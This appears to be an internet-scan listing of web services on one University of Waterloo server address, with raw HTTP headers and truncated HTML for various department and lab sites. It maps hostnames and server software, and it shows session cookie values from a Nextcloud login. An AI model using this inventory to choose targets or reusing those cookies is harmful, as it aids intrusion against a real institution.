<html dir="ltr" lang="en" prefix="og: http://ogp.me/ns# article: http://ogp.me/ns/article# book: http://ogp.me/ns/book# profile: http://ogp.me/ns/profile# video: http://ogp.me/ns/video# product: http://ogp.me/ns/product# content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ rdfs: http://www.w3.org/2000/01/rdf-schema# sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# schema: http://schema.org/ v: http://www.w3.org/2006/vcard/ns#">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<script type="text/x-mathjax-config">MathJax.Hub.Config({ extensions: ['tex2jax.js'], jax: ['input/TeX'], MMLorHTML: { prefer: { Firefox: "MML" }}, tex2jax: { displayMath: [ ['\\[','\\]'] ], inlineMath: [ ['\\(','\\)'] ], processEscapes: true, processClass: 'page', ignoreClass: 'html' }, showProcessingMessages: false, messageStyle: 'none' });
</script>
<meta content="width=device-width, initial-scale=1" name="viewport"/>
<meta content="IE=edge" http-equiv="X-UA-Compatible"/>
<link href="/templates/images/twitterlogo.png" rel="image_src"/>
<link href="/favicon.ico?v=2" rel="shortcut icon" type="image/vnd.microsoft.icon"/>
<title>Cryptography, Security, and Privacy (CrySP) | University of Waterloo</title>
<meta content="#000000" name="msapplication-navbutton-color"/>
<meta content="#000000" name="msapplication-TileColor"/>
<link href="/templates/css/css_pGY7bbiSKCP_0G6lsHqwRDW-H7rDmYXC3gMgXQqmF2k.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_StRKruvHowrLiniFcHDx63Z5eig5qIEUDpdIeeJlLBc.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_Ukxnm85hApnnC4ns9usvK35rzKUBgHx9JewlJsmWrkk.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_l98GyvcJCxL31fzcLxxvHTgLqzWcV-1DKv50zcCb7y0.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_sYrFn9bx_LwdljN2XzKQkz8T3IkWrZhekJT1PgTZhVA.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_E9Jx7KnM-yqRxjhPa8EV5J8WR_ykPxCCDdg2xV3lpFg.css" media="screen" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_7o6VCO_OUfmZvLFDyRocbIA7eGi0wI7EPyNDU1AGjeU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_PWNT08KKUtFCovDiVfueJMA0VD0iVsB9RtxlzxZ2aYw.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU.css" media="all" rel="stylesheet" type="text/css"/>
<link href="/templates/css/css_RvRgCkads_HB_FrGnLbr10XHCqFadBbwdN5MW4pcdVI.css" media="print" rel="stylesheet" type="text/css"/>
<link href="/templates/css/crysp_custom.css" media="all" rel="stylesheet" type="text/css"/>
<script src="/templates/js/js_x0MhBQfHNAIO1NwkQgzf_TGN4b8eMmKre3nqUfoQv3w.js" type="text/javascript"></script>
<script src="/templates/js/js_0Mzz7ykE2iyxMlpKO5FuKiO3GIfEcOW7SHP1gdqwjWQ.js" type="text/javascript"></script>
<script src="/templates/js/js_kPGwSQxri6lkKZIKFDXb1mubUdPj2b705I6Zrz7a-Jg.js" type="text/javascript"></script>
<script src="/templates/js/js_pt1OdRwR7ILcmHWAtPLtoiSkWrsN5ZWmylqFwg_mrZs.js" type="text/javascript"></script>
<script src="/templates/js/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
<script src="/templates/js/js_7l39CHTd7CHu66YbjCNUE2Bho6QogcWLv6K2jG4q9wI.js" type="text/javascript"></script>
<script src="/templates/js/js_RceNLLT2pJ3mE7Nilzvl40lYy8pm7kNJN9R6zvApeQA.js" type="text/javascript"></script>
<script type="text/javascript">
<!--//--><![CDATA[//><!--
jQuery.extend(Drupal.settings, {
"basePath": "\/computer-science\/",
"pathPrefix": "",
"ajaxPageState": {
"theme": "uw_fdsu_theme_resp",
"theme_token": "4cJLxOh1VOYOHPplyyGYjoSKYrdAHhaoJg-K5jmD0Ik",
"jquery_version": "1.8",
"js": {
"profiles\/uw
Open service 129.97.167.168:80 · www.student.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.student.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · watform.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://watform.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · rboutaba.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Tue, 16 Dec 2025 06:20:19 GMT
etag: "a3c7-6460bb8d03f8a"
accept-ranges: bytes
content-length: 41927
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: Raouf Boutaba @ University of Waterloo
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Raouf Boutaba @ University of Waterloo</title>
<style type="text/css">
body {
background-color: #c0c0c0;
}
</style>
<link href="css/layout.css" rel="stylesheet" type="text/css" />
<link href="dynamicmnue.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
var menuids = ["suckertree1"]; //Enter id(s) of SuckerTree UL menus, separated by commas
function buildsubmenus() {
for (var i = 0; i < menuids.length; i++) {
var ultags = document
.getElementById(menuids[i])
.getElementsByTagName("ul");
for (var t = 0; t < ultags.length; t++) {
ultags[t].parentNode.getElementsByTagName("a")[0].className =
"subfolderstyle";
if (ultags[t].parentNode.parentNode.id == menuids[i])
//if this is a first level submenu
ultags[t].style.left =
ultags[t].parentNode.offsetWidth +
"px"; //dynamically position first level submenus to be width of main menu item
//else if this is a sub level submenu (ul)
else
ultags[t].style.left =
ultags[t - 1].getElementsByTagName("a")[0].offsetWidth + "px"; //position menu to the right of menu item that activated it
ultags[t].parentNode.onmouseover = function () {
this.getElementsByTagName("ul")[0].style.display = "block";
};
ultags[t].parentNode.onmouseout = function () {
this.getElementsByTagName("ul")[0].style.display = "none";
};
}
for (var t = ultags.length - 1; t > -1; t--) {
//loop through all sub menus again, and use "display:none" to hide menus (to prevent possible page scrollbars
ultags[t].style.visibility = "visible";
ultags[t].style.display = "none";
}
}
}
if (window.addEventListener)
window.addEventListener("load", buildsubmenus, false);
else if (window.attachEvent) window.attachEvent("onload", buildsubmenus);
</script>
</head>
<body>
<div id="wrapper">
<!--------------------------------------------------------------------------------------------------------------------------------->
<div id="header">
<div id="uw" align="right">
<a href="http://www.uwaterloo.ca" target="_blank">
<img src="images/uw_wordmark.gif" width="120" height="40" alt="University of Waterloo" style="border: 0" />
</a>
</div>
</div>
<!--header div -->
<!--------------------------------------------------------------------------------------------------------------------------------->
<div id="left">
<div id="picRaouf">
<img src="images/raoufnew.jpg" width="150" height="210" alt="Raouf" />
</div>
<p align="left"> </p>
<div id="leftMnue">
<div class="suckerdiv">
<ul id="suckertree1">
<li>
<a href="index.html" style="background-color: #6d6d6d">
<font color="#FFF">Home</font>
</a>
</li>
<li><a href="bio.html">Biography</a></li>
<li>
<a href="publicationType.html">Publications</a>
<ul>
<li><a href="publicationYear.html">Chronologically</a></li>
<li><a href="publicationArea.html">By Area</a></li>
<li><a href="publicationType.html">By Type</a></li>
</ul>
</li>
<li><a href="talk.html">Talks</a></li>
<li><a href="activity.html">Professional Activities</a></li>
<li><a href="teaching.html">Teaching</a></li>
<li><a href="projects.html">Projects</a></li>
<li><a href="team.html">Research Team</a></li>
<li><a href="download.html">Downloads</a></li>
Open service 129.97.167.168:80 · rboutaba.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://rboutaba.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · se.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://se.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · upscope.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://upscope.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · nextcloud.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 302 Found date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-robots-tag: noindex, nofollow referrer-policy: no-referrer set-cookie: vault-2404-1=t144nr5454jj9f8ndkjr7lkh49; path=/; secure; HttpOnly; SameSite=Lax set-cookie: oc_sessionPassphrase=Y3ikZRaSLH%2F0Gc8abeI7LzX%2Fuh2qxu5X4kwBvRDGcSDonGcqrTQACPI3Wr2AMehXbZzO1hheK8KlHJl%2FIKY9dOgNnRv3iDulCJX1W3D4oaK%2Bda7virTaC2CE2s4hYO2e; path=/; secure; HttpOnly; SameSite=Lax set-cookie: vault-2404-1=t144nr5454jj9f8ndkjr7lkh49; path=/; secure; HttpOnly; SameSite=Lax content-security-policy: default-src 'self'; script-src 'self' 'nonce-jI5AcYbG6ta1cMSdCX7wUbgtJ/OU8Jd5qz9MO7LQMo0='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self'; set-cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax set-cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict set-cookie: vault-2404-1=t144nr5454jj9f8ndkjr7lkh49; path=/; secure; HttpOnly; SameSite=Lax location: https://nextcloud.cs.uwaterloo.ca/login content-length: 0 content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: nextcloud.cs.uwaterloo.ca_haproxy_cookie=nextcloud.cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:443 · compstats.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
content-length: 36556
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Home | Computational Statistics Group | University of WaterlooInstagramX (formerly Twitter)LinkedInFacebookYouTubeCampus mapInstagramX (formerly Twitter)LinkedInFacebookYouTubeOn It Check
<!DOCTYPE html>
<html class="no-js" dir="ltr" lang="en" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">
<head>
<meta charset="utf-8"/>
<meta content="en_CA" property="og:locale"/>
<meta content="summary_large_image" name="twitter:card"/>
<meta content="Drupal 9 (https://www.drupal.org)" name="Generator"/>
<meta content="width" name="MobileOptimized"/>
<meta content="true" name="HandheldFriendly"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<script async="" src="https://www.googletagmanager.com/gtag/js?id=G-F2W1T1XRR6"></script>
<script>window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-F2W1T1XRR6', {
'cookie_domain': 'uwaterloo.ca',
'cookie_path': '/computer-science/',
'cookie_expires': 2592000
});</script>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/favicon.ico" rel="icon"/>
<link href="https://uwaterloo.ca/computer-science/about/quick-facts" hreflang="en" rel="alternate"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/icon.svg" rel="icon" type="image/svg+xml"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/apple-touch-icon.png" rel="apple-touch-icon"/>
<link href="data:application/manifest+json,%7B%22icons%22%3A%5B%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-192.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22192x192%22%7D%2C%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-512.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22512x512%22%7D%5D%7D" rel="manifest"/>
<title>Home | Computational Statistics Group | University of Waterloo</title>
<link crossorigin="" href="https://fonts.gstatic.com" rel="preconnect"/>
<link as="style" href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="preload"/>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" media="print" onload="this.media='all'" rel="stylesheet"/>
<noscript>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="stylesheet"/>
</noscript>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-M9XLVF');</script>
<!-- End Google Tag Manager -->
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_oGOnTlq3Rxk1pGXOw13sY9ZZIj8N35rZfDWUg_RHWmo.css" media="all" rel="stylesheet"/>
<link href="https://uwaterloo.ca/computer-science/sites/default/files/css/css_-4HXTjog3FwpNqNyMV3b7OCouTI2V4f6QKA0fcKuUp8.css" media="all" rel="stylesheet"/>
<link href="//odyssey.uwaterloo.ca/static/wcms/main.css" media="all" rel="stylesheet" type="text/css"/></head>
<body class="node-page node-page--node-type-uw-ct-web-page not-front not-layout-page org-school path-node">
<!-- Google Tag Manager (noscript) -->
<noscript>
<iframe aria-label="Google Tag Manager" height="0" src="https://www.googletagmanager.com/ns.html?id=GTM-M9XLVF" style="display:none;visibility:hidde
Open service 129.97.167.168:80 · compstats.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://compstats.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · neurocog.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 05 Jan 2026 16:40:16 GMT
etag: "2d26-647a6b6ba11c0"
accept-ranges: bytes
content-length: 11558
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title:
· Neurocognitive Computing Lab, UWaterloo
<!DOCTYPE html>
<html lang="en-us">
<head>
<link href="http://gmpg.org/xfn/11" rel="profile">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<!-- Enable responsiveness on mobile devices-->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">
<title>
· Neurocognitive Computing Lab, UWaterloo
</title>
<!-- CSS -->
<link rel="stylesheet" href="/public/css/poole.css">
<link rel="stylesheet" href="/public/css/syntax.css">
<link rel="stylesheet" href="/public/css/hyde.css">
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=PT+Sans:400,400italic,700|Abril+Fatface">
<!-- Icons -->
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="public/apple-touch-icon-144-precomposed.png">
<link rel="shortcut icon" href="public/favicon.png">
<!-- RSS -->
<!--link rel="alternate" type="application/rss+xml" title="RSS" href="/atom.xml"-->
<link rel="alternate" type="application/rss+xml" title="RSS" href="/feed.xml">
<script async src="https://cdn.jsdelivr.net/npm/mathjax@2/MathJax.js?config=TeX-AMS-MML_CHTML"></script>
</head>
<body>
<div class="sidebar">
<div class="container">
<center>
<a target="_new" href="http://uwaterloo.ca"><img src="/images/UniversityOfWaterloo_logo_vert_rev_rgb.png" width="200px"></a></center>
<div class="sidebar-about">
</div>
<br>
<br>
<nav class="sidebar-nav">
<a class="sidebar-nav-item" href="/index.html">Welcome</a>
<a class="sidebar-nav-item" href="/people.html">Our People</a>
<a class="sidebar-nav-item" href="/publications.html">Publications</a>
<a class="sidebar-nav-item" href="/PhotoAlbums.html">Photos</a>
<a class="sidebar-nav-item" href="/media.html">Media</a>
</nav>
<font size="2"><div class="bottom">© 2026 All rights reserved.</div></font>
</div>
</div>
<div class="banner"><img src="https://neurocog.uwaterloo.ca/images/NeuroCog_logo_horiz_onlight.png" width="600px"></div>
<div class="content container">
<div class="page">
<h1 class="page-title">
</h1>
<p>Our research aim is to uncover the computational and organizational mechanisms in the brain. For example, what function does feedback play in our brains, and how do our expectations influence our perceptions? We study these questions by modelling neural networks. Through computational experiments and mathematical analysis, we try to understand the neurological basis of perception, cognition, and behaviour.</p>
<p>The lab is in the <a href="http://cs.uwaterloo.ca" target="_blank">David R. Cheriton School of Computer Science</a>, and affiliated with the <a href="http://ctn.uwaterloo.ca" target="_blank">Centre for Theoretical Neuroscience</a>.</p>
<hr />
<html lang="en-us">
<h1>Latest News</h1>
<div class="column">
<div class="card">
<div class="container">
<img class="img-valign" src="/images/Amy_headshot.png" style="height:100px" />
<span class="text2"><a href="/jekyll/update/2026/01/05/Amy.html">Welcome to the lab, Amy!</a></span>
<p>Welcome Amy to the lab as a part-time researcher this winter term.</p>
</div>
<div class="container" style="text-align:right">
<span class="text3">01-05-2026</span>
</div>
</div>
<div class="card">
<div class="container">
<img class="img-valign" src="/images/DrShaw.jpg" style="height:100px" />
<span class="text2"><a href="/jekyll/update/2025/10/20/DrShaw.html">Nolan passed his PhD defence</a></span>
<p>Congratulations are in order for Nolan's PhD defence.</p>
</div>
<div class="container" style="text-align:right">
<span class="text3">10-20-2025</span>
</div>
</div>
<div class="card">
<div class="container">
<img class="img-valign" src="/images/melody.jpg" style="height:100px" />
<span class=
Open service 129.97.167.168:443 · exii.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate vary: Accept-Encoding content-length: 487 content-type: text/html;charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: Index of / <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <table> <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr> </table> <address>Apache/2.4.58 (Ubuntu) Server at exii.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · wwwtest5.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wwwtest5.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · www.swag.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Thu, 04 Dec 2014 05:43:50 GMT
etag: "f31-5095d71d95149"
accept-ranges: bytes
content-length: 3889
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: SWAG homepage
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>SWAG homepage</title>
<script language="JavaScript" src="mailMunge.js"></script>
<link rel="stylesheet" type"="text/css" href="swag.css" />
</head>
<body class="page">
<table align="center" class="layoutTable" >
<!-- header row starts here -->
<tr>
<td colspan=2 class="header">
<p>
<a href="http://www.uwaterloo.ca" target="_top">
<img src="pics/uw.logo.gif" style="vertical-align: top; float: left; border: 0;">
</a>
<img src="pics/swag.cubes.gif" style="float: right; border: 0;" height="62" width="258">
<span class="swagLogo">SWAG: Software </span><br>
<span class="swagLogo">Architecture Group</span><br>
</p>
</td>
</tr>
<!-- end of header row -->
<tr>
<td colspan=2 class="locationBar" >
SWAG
</td>
</tr>
<!-- end of location bar row -->
<tr> <!-- main row starts here -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- sidebar menu starts -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<td class="sidebar">
<iframe src="swag_sidebar.html" scrolling="yes" class="sidebar" frameborder=0>
Your browser does not support iframes. See the sidebar <a href="swag_sidebar.html">here</a>.
</iframe>
</td> <!-- end of sidebar table cell -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- sidebar menu ends -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- main content starts -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<td class="main">
<h3>About SWAG</h3>
<p>The Software Architecture Group at the University of Waterloo (SWAG)
has been at the forefront of software architecture and software engineering research in Canada
since its inception. Founded as a collaboration between researchers at the University of
Waterloo and the University of Toronto, the lab is now primarily based at Waterloo university. Its members
currently include three professors and fifteen graduate students. See our <a href="people.html">people</a> page
for more details.
<p>Members of SWAG have developed or co-developed some of the most robust and best-known tools in software architecture
research, including Portable Bookshelf (PBS) and CPPX software analysis toolkits, Grok relational
calculator, LSEdit graph visualizer, and many others. See our <a href="tools.html">tools</a> page for an up-to-date
listing of the tools currently available, or use the sidebar links to jump directly to the tool that interests you.
<p>Primary research interests of the SWAG members are software architecture and its evolution through time,
methods and applications of reverse engineering as applied to software, and development of fact extraction,
analysis and visualization tools. Lately, we have pursued new research directions in the field of software
engineering, including analysis and classification of cloned code, layering models and software quality prediction.
See the <a href="research.html">research</a> page for more details.
</p>
<p>Our group is actively involved in industrial research through collaborations with many
industrial partners such as IBM, Nortel Networks, Sun Microsystems and CA.
<p>
Conference related material can be found <a href="conferences">here</a>.
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
<!-- main content ends -->
<!-- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% -->
</td>
</tr>
</table>
</body>
</html>
Open service 129.97.167.168:80 · vision.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://vision.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · booked.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:17 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate refresh: 0;url=Web? content-length: 0 content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:443 · dsg.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
content-length: 34734
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Home | Cheriton School of Computer Science | University of WaterlooInstagramX (formerly Twitter)LinkedInFacebookYouTubeCampus mapInstagramX (formerly Twitter)LinkedInFacebookYouTubeOn It Check
<!DOCTYPE html>
<html class="no-js" dir="ltr" lang="en" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# ">
<head>
<meta charset="utf-8"/>
<meta content="en_CA" property="og:locale"/>
<meta content="summary_large_image" name="twitter:card"/>
<meta content="Drupal 9 (https://www.drupal.org)" name="Generator"/>
<meta content="width" name="MobileOptimized"/>
<meta content="true" name="HandheldFriendly"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<script async="" src="https://www.googletagmanager.com/gtag/js?id=G-F2W1T1XRR6"></script>
<script>window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-F2W1T1XRR6', {
'cookie_domain': 'uwaterloo.ca',
'cookie_path': '/computer-science/',
'cookie_expires': 2592000
});</script>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/favicon.ico" rel="icon"/>
<link href="https://uwaterloo.ca/computer-science/about/quick-facts" hreflang="en" rel="alternate"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/icon.svg" rel="icon" type="image/svg+xml"/>
<link href="https://uwaterloo.ca/computer-science/profiles/uw_base_profile/themes/uw_fdsu_theme_resp/apple-touch-icon.png" rel="apple-touch-icon"/>
<link href="data:application/manifest+json,%7B%22icons%22%3A%5B%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-192.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22192x192%22%7D%2C%7B%22src%22%3A%22https%3A%5C%2F%5C%2Fuwaterloo.ca%5C%2Fcomputer-science%5C%2Fprofiles%5C%2Fuw_base_profile%5C%2Fthemes%5C%2Fuw_fdsu_theme_resp%5C%2Ficon-512.png%22%2C%22type%22%3A%22image%5C%2Fpng%22%2C%22sizes%22%3A%22512x512%22%7D%5D%7D" rel="manifest"/>
<title>Home | Cheriton School of Computer Science | University of Waterloo</title>
<link crossorigin="" href="https://fonts.gstatic.com" rel="preconnect"/>
<link as="style" href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="preload"/>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" media="print" onload="this.media='all'" rel="stylesheet"/>
<noscript>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@500;700&family=Barlow:wght@400;500;700&display=swap" rel="stylesheet"/>
</noscript>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
